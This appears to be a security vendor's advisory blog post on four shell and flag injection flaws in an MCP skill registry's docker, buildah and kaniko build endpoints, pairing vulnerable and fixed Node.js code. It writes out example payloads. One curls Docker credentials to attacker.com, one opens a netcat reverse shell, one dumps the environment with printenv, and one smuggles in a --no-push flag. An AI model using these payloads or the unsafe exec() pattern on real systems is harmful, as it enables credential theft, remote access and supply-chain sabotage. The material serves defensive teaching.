← Blog

Claude MCP skill code injection — skill container image build and push pipeline endpoints (SA-SKL-INJECTION75)

SA-SKL-INJECTION75 identifies four code injection vulnerabilities in MCP skill registry skill container image build and push pipeline endpoints. INJECTION75-001 exploits a shell-interpolated docker build command where an attacker-controlled imageTag containing a semicolon-separated shell command reads /root/.docker/config.json and exfiltrates Docker registry credentials to an attacker-controlled host — credentials that allow the attacker to push arbitrary container images to the registry under the victim publisher's identity, enabling supply-chain compromise of every user who pulls from that registry namespace. INJECTION75-002 exploits a shell-interpolated docker push command where an attacker-controlled registryHost containing a semicolon-separated netcat invocation establishes a reverse shell from the container build worker host — which runs in the registry's production network with access to internal services and the Docker socket. INJECTION75-003 exploits a shell-interpolated buildah bud command where an attacker-controlled imageTag containing a semicolon-separated printenv invocation exfiltrates all environment variables from the buildah worker, including REGISTRY_PASSWORD, cloud provider credential environment variables, and any secrets injected as environment variables by the CI/CD orchestrator. INJECTION75-004 exploits a kaniko invocation where an attacker-controlled dockerfilePath containing a space and the flag --no-push causes kaniko to silently skip the image push step while completing the build — the pipeline reports success but no image is pushed to the registry, allowing an attacker to sabotage competitors' build pipelines and cause cascading deployment failures without leaving obvious traces in build logs.

SA-SKL-INJECTION75 findings at a glance
CRITICALINJECTION75-001 — exec(`docker build --tag ${imageTag} --file ${dockerfilePath} .`) — attacker imageTag with ; cat /root/.docker/config.json exfiltrates Docker registry credentials enabling supply-chain container push
CRITICALINJECTION75-002 — exec(`docker push ${registryHost}/${imageTag}`) — attacker registryHost with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from container build worker
CRITICALINJECTION75-003 — exec(`buildah bud --tag ${imageTag} --file ${dockerfilePath}`) — attacker imageTag with ; printenv exfiltrates all env vars including REGISTRY_PASSWORD and cloud credentials
HIGHINJECTION75-004 — exec(`kaniko --dockerfile ${dockerfilePath} --destination ${imageTag}`) — attacker dockerfilePath with space-injected --no-push disables image push while silently modifying build context causing supply chain confusion

INJECTION75-001 — docker build imageTag injection exfiltrates Docker registry credentials

The container build pipeline constructs a docker build shell command by interpolating user-supplied values including the image tag and the Dockerfile path directly into a template string passed to child_process.exec(). The exec() function passes the entire string to /bin/sh -c, which interprets semicolons as command separators. An attacker who can submit a container build request — available to any authenticated skill publisher using the containerized skill deployment feature — crafts an imageTag value containing a semicolon followed by a command that reads and exfiltrates the Docker registry credentials file: myimage; cat /root/.docker/config.json | base64 | curl -d @- attacker.com. The build worker executes the legitimate docker build command for the first token, then executes the injected command in the same shell context — reading the Docker credentials file, base64-encoding it to handle JSON characters, and POSTing it to the attacker's server. The credentials file contains authentication tokens for all container registries the build worker has previously logged into, enabling the attacker to push arbitrary container images to those registries under the registry worker's authentication context.

Vulnerable
// INJECTION75-001 — VULNERABLE: shell interpolation of imageTag in docker build
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function buildContainerImage(skillId, imageTag, dockerfilePath) {
  // attacker imageTag: 'myimage; cat /root/.docker/config.json | base64 | curl -d @- attacker.com'
  const cmd = `docker build --tag ${imageTag} --file ${dockerfilePath} .`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/builds/${skillId}`,
    env: process.env
  });
  return { stdout, stderr };
}

Docker registry credentials allow pushing arbitrary container images under the registry worker's identity — an attacker who exfiltrates them can inject malicious layers into any image namespace the worker has push access to, compromising every downstream user who pulls those images. execFile() passes arguments as an array to the OS, bypassing shell interpretation entirely; IMAGE_TAG_RE rejects values that do not match the Docker image tag character set; a stripped environment variable set prevents credential files from being readable even if another injection path is found.

Fixed
// INJECTION75-001 — FIXED: execFile() arg array; IMAGE_TAG_RE; stripped env
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9._\-/:@]{0,127}$/;

async function buildContainerImage(skillId, imageTag, dockerfilePath) {
  if (!IMAGE_TAG_RE.test(imageTag)) {
    throw new Error(`Invalid image tag: ${imageTag}`);
  }
  const { stdout, stderr } = await execFileAsync(
    'docker',
    ['build', '--tag', imageTag, '--file', dockerfilePath, '.'],
    {
      cwd: `/builds/${skillId}`,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin', HOME: '/tmp' }
    }
  );
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — Base Score 9.0 (CRITICAL); scope changed because registry credential exfiltration enables supply-chain compromise of all images pushed from the registry worker's authentication context.

INJECTION75-002 — docker push registryHost injection establishes reverse shell

The container push pipeline constructs a docker push shell command by interpolating both the registry hostname and the image tag into a template string passed to child_process.exec(). The registry hostname is intended to allow publishers to push to their own private registries in addition to the platform registry, but the value is not validated before interpolation. An attacker who can submit a container push request crafts a registryHost value containing a semicolon followed by a netcat reverse shell invocation: registry.example.com; nc attacker.com 4444 -e /bin/sh. The push worker executes the legitimate docker push for the first token — which fails because registry.example.com is not a valid target — then executes the netcat command in the same shell context, connecting to the attacker's server and providing an interactive shell running as the build worker user. Because container build workers run on the registry's production network, this reverse shell provides access to internal services including the Docker socket, the container build database, and internal API endpoints accessible from the worker network segment.

Vulnerable
// INJECTION75-002 — VULNERABLE: shell interpolation of registryHost in docker push
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function pushContainerImage(skillId, registryHost, imageTag) {
  // attacker registryHost: 'registry.example.com; nc attacker.com 4444 -e /bin/sh'
  const cmd = `docker push ${registryHost}/${imageTag}`;
  const { stdout, stderr } = await execAsync(cmd, { env: process.env });
  return { stdout, stderr };
}

A reverse shell from the container build worker provides interactive access to the registry's production network — an attacker gains persistent foothold to pivot to internal databases, container registries, and secrets management systems. execFile() passes the registry host and tag as separate array arguments; REGISTRY_HOST_RE validates the registry hostname against a strict hostname character allowlist; paths to sandbox root prevents the shell from reaching sensitive files even if another injection path is found.

Fixed
// INJECTION75-002 — FIXED: execFile() arg array; REGISTRY_HOST_RE; paths to sandbox root
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const REGISTRY_HOST_RE = /^[a-z0-9][a-z0-9.\-]{0,252}(:[0-9]{1,5})?$/;
const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9._\-/:@]{0,127}$/;

async function pushContainerImage(skillId, registryHost, imageTag) {
  if (!REGISTRY_HOST_RE.test(registryHost)) {
    throw new Error(`Invalid registry host: ${registryHost}`);
  }
  if (!IMAGE_TAG_RE.test(imageTag)) {
    throw new Error(`Invalid image tag: ${imageTag}`);
  }
  const fullRef = `${registryHost}/${imageTag}`;
  const { stdout, stderr } = await execFileAsync(
    'docker',
    ['push', fullRef],
    {
      cwd: `/sandbox/${skillId}`,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin', HOME: '/tmp' }
    }
  );
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); scope changed because production network access from reverse shell enables full compromise of internal services; availability impact because registry infrastructure can be disrupted from the shell.

INJECTION75-003 — buildah imageTag injection exfiltrates all environment variables

The container build pipeline includes a buildah-based build path for skills that use OCI-compliant builds without Docker daemon dependency. The pipeline constructs a buildah bud command by interpolating the image tag into a template string passed to child_process.exec(). An attacker who can submit a buildah build request crafts an imageTag value containing a semicolon followed by printenv: myimage; printenv. The buildah worker executes the legitimate buildah bud command, then executes printenv in the same shell context, writing all environment variables to stdout. The combined stdout is returned to the attacker in the build log response. The environment variables include REGISTRY_PASSWORD injected by the CI/CD orchestrator for the push step, AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY if the worker runs on EC2 with injected credentials, ANTHROPIC_API_KEY for the audit engine's LLM calls, and any other secrets that the orchestrator injects as environment variables for the build context.

Vulnerable
// INJECTION75-003 — VULNERABLE: shell interpolation of imageTag in buildah bud
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function buildWithBuildah(skillId, imageTag, dockerfilePath) {
  // attacker imageTag: 'myimage; printenv'
  const cmd = `buildah bud --tag ${imageTag} --file ${dockerfilePath}`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/builds/${skillId}`,
    env: process.env  // passes all env vars including secrets to the shell
  });
  return { buildLog: stdout, errors: stderr };
}

Secrets injected as environment variables are the most common CI/CD credential pattern — an attacker who can read the process environment from a build worker obtains every secret the CI/CD system has granted to that build context. execFile() passes the image tag as an array argument; IMAGE_TAG_RE rejects values that do not match the OCI image tag character set; a minimal environment with only PATH ensures that secrets injected by the orchestrator are not accessible to the executed process even if another injection path exists.

Fixed
// INJECTION75-003 — FIXED: execFile() arg array; IMAGE_TAG_RE; env stripped to PATH only
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9._\-/:@]{0,127}$/;
const DOCKERFILE_PATH_RE = /^[a-zA-Z0-9_.\-\/]{1,255}$/;

async function buildWithBuildah(skillId, imageTag, dockerfilePath) {
  if (!IMAGE_TAG_RE.test(imageTag)) {
    throw new Error(`Invalid image tag: ${imageTag}`);
  }
  if (!DOCKERFILE_PATH_RE.test(dockerfilePath)) {
    throw new Error(`Invalid dockerfile path: ${dockerfilePath}`);
  }
  const { stdout, stderr } = await execFileAsync(
    'buildah',
    ['bud', '--tag', imageTag, '--file', dockerfilePath],
    {
      cwd: `/builds/${skillId}`,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
    }
  );
  return { buildLog: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — Base Score 9.0 (CRITICAL); scope changed because registry password and cloud credential exfiltration extends impact to all registries and cloud services accessible to the CI/CD role.

INJECTION75-004 — kaniko dockerfilePath whitespace injection disables image push

The container build pipeline includes a kaniko-based build path for skills built in isolated, daemonless environments. The pipeline constructs a kaniko command by interpolating the Dockerfile path into a template string passed to child_process.exec(). Unlike the previous findings that use semicolons to inject separate commands, this attack uses a space character to inject an additional kaniko flag. An attacker who can submit a kaniko build request crafts a dockerfilePath value containing a space followed by the --no-push flag: Dockerfile --no-push. The kaniko invocation becomes kaniko --dockerfile Dockerfile --no-push --destination myimage, which kaniko interprets as a valid invocation with the --no-push flag set — causing kaniko to build the image successfully but skip the push step entirely. The pipeline receives a zero exit code and reports a successful build, but no image is pushed to the registry. An attacker who targets a competitor's skill build pipeline with this injection causes deployment failures that appear as transient build infrastructure issues rather than security incidents, making root cause analysis difficult and potentially delaying time-sensitive releases.

Vulnerable
// INJECTION75-004 — VULNERABLE: space-injected --no-push flag via dockerfilePath
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function buildWithKaniko(skillId, imageTag, dockerfilePath) {
  // attacker dockerfilePath: 'Dockerfile --no-push'
  // resulting command: kaniko --dockerfile Dockerfile --no-push --destination myimage
  // kaniko exits 0 but skips the push — build log shows success but image never arrives
  const cmd = `kaniko --dockerfile ${dockerfilePath} --destination ${imageTag}`;
  const { stdout, stderr } = await execAsync(cmd, { cwd: `/builds/${skillId}` });
  return { buildLog: stdout, errors: stderr };
}

Flag injection via whitespace is distinct from command injection via semicolons — the attack succeeds even when semicolons are blocked, and produces a successful exit code that masks the sabotage from build log monitoring. execFile() passes each argument as a separate array element, preventing whitespace from being interpreted as an argument separator; DOCKERFILE_PATH_RE rejects any path value containing whitespace or characters that are not valid in a Dockerfile path, closing the flag injection vector entirely.

Fixed
// INJECTION75-004 — FIXED: execFile() arg array; DOCKERFILE_PATH_RE rejects whitespace; paths to build root
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const DOCKERFILE_PATH_RE = /^[a-zA-Z0-9_.\-]{1,100}$/;
const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9._\-/:@]{0,127}$/;

async function buildWithKaniko(skillId, imageTag, dockerfilePath) {
  if (!DOCKERFILE_PATH_RE.test(dockerfilePath)) {
    throw new Error(`Invalid dockerfile path: ${dockerfilePath}`);
  }
  if (!IMAGE_TAG_RE.test(imageTag)) {
    throw new Error(`Invalid image tag: ${imageTag}`);
  }
  const buildRoot = path.resolve(`/builds/${skillId}`);
  const resolvedDockerfile = path.resolve(buildRoot, dockerfilePath);
  if (!resolvedDockerfile.startsWith(buildRoot + '/')) {
    throw new Error('Dockerfile path traversal rejected');
  }
  const { stdout, stderr } = await execFileAsync(
    'kaniko',
    ['--dockerfile', resolvedDockerfile, '--destination', imageTag],
    { cwd: buildRoot, env: { PATH: '/usr/local/bin:/usr/bin:/bin' } }
  );
  return { buildLog: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H — Base Score 8.1 (HIGH); integrity impact because the build pipeline reports success while silently not pushing the image; availability impact because dependent deployment pipelines fail when the expected image is absent from the registry.

Scan your MCP skill for INJECTION75 and 200+ other vulnerability classes

SkillAudit checks for all SA-SKL-INJECTION vulnerability patterns including shell-interpolated docker build and push commands, buildah and kaniko invocations with unsanitized user-supplied paths, flag injection via whitespace in container build tools, and environment variable exfiltration through build log responses. Get a graded report with line-level code fixes in 60 seconds.

Get a free audit